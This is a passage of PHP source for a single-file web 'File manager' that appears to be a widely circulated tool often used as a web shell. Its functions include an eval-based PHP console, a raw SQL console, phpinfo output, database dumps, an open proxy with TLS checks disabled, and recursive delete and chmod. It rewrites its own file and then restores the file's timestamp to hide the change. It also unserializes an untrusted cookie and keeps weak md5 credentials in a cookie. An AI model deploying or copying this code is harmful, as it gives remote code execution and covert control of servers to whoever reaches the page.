if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/fahriyzx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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